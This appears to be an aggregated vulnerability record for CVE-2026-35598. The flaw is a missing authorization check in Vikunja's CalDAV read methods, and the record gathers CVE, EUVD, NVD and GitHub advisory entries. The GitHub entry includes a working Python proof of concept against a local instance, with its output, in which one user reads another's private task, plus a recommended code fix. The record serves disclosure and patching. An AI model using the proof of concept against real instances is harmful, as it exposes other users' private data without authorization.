{"id":"GO-2026-5114","revision":null,"records":[{"revision":"62fe257a3825411d9b2951b9cffd10b4","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-35598","aliases":[],"title":"Vikunja has Missing Authorization on CalDAV Task Read","description":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV GetResource and GetResourcesByList methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance. This vulnerability is fixed in 2.3.0.","state":0,"publishedAt":"2026-04-10T16:04:32.083+00:00","modifiedAt":"2026-04-14T14:20:44.249+00:00","affected":[{"ecosystem":"Vendor product","name":"vikunja","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"go-vikunja\",\n                    \"product\": \"vikunja\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.3.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3,"severity":"MEDIUM"}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-48ch-p4gq-x46x","https://github.com/go-vikunja/vikunja/pull/2579","https://github.com/go-vikunja/vikunja/commit/879462d717351fe5d276ddec5246bdec31b41661","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-35598","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-35598","identifiers":["CVE-2026-35598"]},"retained":false,"historicalAffected":[]},{"revision":"cdf31190ee6b468cb61d37289361c091","observedAt":"2026-10-28T04:56:22.844+00:00","statement":{"source":"euvd","id":"EUVD-2026-21425","aliases":["CVE-2026-35598","GHSA-48ch-p4gq-x46x"],"title":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV GetResource and GetResourcesByList methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task'…","description":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV GetResource and GetResourcesByList methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance. This vulnerability is fixed in 2.3.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3,"severity":null}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-48ch-p4gq-x46x","https://github.com/go-vikunja/vikunja/pull/2579","https://github.com/go-vikunja/vikunja/commit/879462d717351fe5d276ddec5246bdec31b41661","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-21425","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 10, 2026, 4:04:32 PM","dateUpdated":"Apr 14, 2026, 2:20:44 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-21425","identifiers":["EUVD-2026-21425","CVE-2026-35598","GHSA-48ch-p4gq-x46x"]},"retained":false,"historicalAffected":[]},{"revision":"bd202c98614a4e9ba283b19df7ca8f9e","observedAt":"2026-10-27T09:03:12.132+00:00","statement":{"source":"nvd","id":"CVE-2026-35598","aliases":[],"title":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV GetResource and GetResourcesByList methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task'…","description":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV GetResource and GetResourcesByList methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance. This vulnerability is fixed in 2.3.0.","state":0,"publishedAt":"2026-04-10T17:17:03.37+00:00","modifiedAt":"2026-10-26T21:10:00.17+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3,"severity":"MEDIUM"}],"references":["https://github.com/go-vikunja/vikunja/commit/879462d717351fe5d276ddec5246bdec31b41661","https://github.com/go-vikunja/vikunja/pull/2579","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0","https://github.com/go-vikunja/vikunja/security/advisories/GHSA-48ch-p4gq-x46x"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35598","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-862"],"productCriteria":["cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-04-10T17:17:03.370","lastModified":"2026-10-26T21:10:00.170"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-35598","identifiers":["CVE-2026-35598"]},"retained":false,"historicalAffected":[]},{"revision":"4bbdc8ba91d94ff3afa862bd7d473dde","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-48ch-p4gq-x46x","aliases":["CVE-2026-35598","GO-2026-5114"],"title":"Vikunja Missing Authorization on CalDAV Task Read","description":"## Summary\n\nThe CalDAV `GetResource` and `GetResourcesByList` methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance.\n\n## Details\n\n`GetTasksByUIDs` at `pkg/models/tasks.go:376-393` performs a global database query with no authorization check:\n\n```go\nfunc GetTasksByUIDs(s *xorm.Session, uids []string, a web.Auth) (tasks []*Task, err error) {\n    tasks = []*Task{}\n    err = s.In(\"uid\", uids).Find(&tasks)\n    // ...\n}\n```\n\nThe `web.Auth` parameter is accepted but never used for permission filtering. This function is called by:\n- `GetResource` at `pkg/routes/caldav/listStorageProvider.go:266` (CalDAV GET)\n- `GetResourcesByList` at `pkg/routes/caldav/listStorageProvider.go:199` (CalDAV REPORT multiget)\n\nAll other CalDAV operations enforce authorization: `CreateResource` checks `CanCreate()`, `UpdateResource` checks `CanUpdate()`, `DeleteResource` checks `CanDelete()`. Only the read operations skip authorization.\n\nThe project ID in the CalDAV URL is ignored. A request to `/dav/projects/{attacker_project}/{victim_task_uid}.ics` returns the victim's task regardless of which project ID is in the path.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2.\n\n```python\nimport requests\nfrom requests.auth import HTTPBasicAuth\n\nTARGET = \"http://localhost:3456\"\nAPI = f\"{TARGET}/api/v1\"\n\ndef login(u, p):\n    return requests.post(f\"{API}/login\", json={\"username\": u, \"password\": p}).json()[\"token\"]\n\ndef h(token):\n    return {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n\nalice_token = login(\"alice\", \"Alice1234!\")\nbob_token = login(\"bob\", \"Bob12345!\")\n\n# alice creates private project and task\nproj = requests.put(f\"{API}/projects\", headers=h(alice_token),\n                    json={\"title\": \"Private\"}).json()\ntask = requests.put(f\"{API}/projects/{proj['id']}/tasks\", headers=h(alice_token),\n                    json={\"title\": \"Secret CEO salary 500k\"}).json()\n\n# task UID must be set (normally done by CalDAV sync; here via sqlite for PoC)\n# sqlite3 vikunja.db \"UPDATE tasks SET uid='test-uid-001' WHERE id={task['id']};\"\nTASK_UID = \"test-uid-001\"\n\n# bob tries REST API\nr = requests.get(f\"{API}/tasks/{task['id']}\", headers=h(bob_token))\nprint(f\"REST API: {r.status_code}\")  # 403\n\n# bob gets CalDAV token\ncaldav_token = requests.put(f\"{API}/user/settings/token/caldav\",\n    headers=h(bob_token)).json()[\"token\"]\n\n# bob reads alice's task via CalDAV (project ID in URL doesn't matter)\nr = requests.get(f\"{TARGET}/dav/projects/{proj['id']}/{TASK_UID}.ics\",\n                 auth=HTTPBasicAuth(\"bob\", caldav_token))\nprint(f\"CalDAV: {r.status_code}\")  # 200\nprint(r.text)  # contains SUMMARY:Secret CEO salary 500k\n```\n\nOutput:\n```\nREST API: 403\nCalDAV: 200\nBEGIN:VCALENDAR\nVERSION:2.0\nBEGIN:VTODO\nUID:test-uid-001\nSUMMARY:Secret CEO salary 500k\nDUE:20260401T000000Z\nEND:VTODO\nEND:VCALENDAR\n```\n\nThe REST API correctly returns 403, but CalDAV leaks the full task. The project ID in the CalDAV URL is ignored - bob can also use his own project ID and still get alice's task.\n\n## Impact\n\nAn authenticated CalDAV user who obtains a task UID (from shared calendar URLs, client sync logs, or enumeration) can read the full task details from any project in the instance, regardless of their access rights. This includes titles, descriptions, due dates, priority, labels, and reminders. In multi-tenant deployments, this exposes data across organizational boundaries.\n\nTask UIDs are UUIDv4 and not trivially enumerable, but they are exposed in CalDAV resource paths, client synchronization logs, and shared calendar contexts.\n\n## Recommended Fix\n\nAdd a `CanRead` permission check on each returned task's project in both `GetResource` and `GetResourcesByList`:\n\n```go\ntasks, err := models.GetTasksByUIDs(s, []string{vcls.task.UID}, vcls.user)\n// ...\nfor _, t := range tasks {\n    project := &models.Project{ID: t.ProjectID}\n    can, _, err := project.CanRead(s, vcls.user)\n    if err != nil || !can {\n        return nil, false, errs.ForbiddenError\n    }\n}\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*","state":0,"publishedAt":"2026-04-10T15:34:23+00:00","modifiedAt":"2026-06-25T18:56:16.0687973+00:00","affected":[{"ecosystem":"Go","name":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.3.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-48ch-p4gq-x46x","https://nvd.nist.gov/vuln/detail/CVE-2026-35598","https://github.com/go-vikunja/vikunja/pull/2579","https://github.com/go-vikunja/vikunja/commit/879462d717351fe5d276ddec5246bdec31b41661","https://github.com/go-vikunja/vikunja","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"],"sourceUrl":"https://github.com/advisories/GHSA-48ch-p4gq-x46x","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-48ch-p4gq-x46x","identifiers":["GHSA-48ch-p4gq-x46x","CVE-2026-35598","GO-2026-5114"]},"retained":false,"historicalAffected":[]},{"revision":"c3459e7ee03c42b6843b9d8ea6fa31f0","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5114","aliases":["CVE-2026-35598","GHSA-48ch-p4gq-x46x"],"title":"Vikunja Missing Authorization on CalDAV Task Read in code.vikunja.io/api","description":"Vikunja Missing Authorization on CalDAV Task Read in code.vikunja.io/api.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: code.vikunja.io/api before v2.3.0.","state":0,"publishedAt":"2026-06-25T18:26:48+00:00","modifiedAt":"2026-06-25T18:45:22.274198+00:00","affected":[{"ecosystem":"Go","name":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-48ch-p4gq-x46x","https://nvd.nist.gov/vuln/detail/CVE-2026-35598","https://github.com/go-vikunja/vikunja/commit/879462d717351fe5d276ddec5246bdec31b41661","https://github.com/go-vikunja/vikunja/pull/2579","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5114","license":"OSV · upstream source license applies","key":"osv:GO-2026-5114","identifiers":["GO-2026-5114","CVE-2026-35598","GHSA-48ch-p4gq-x46x"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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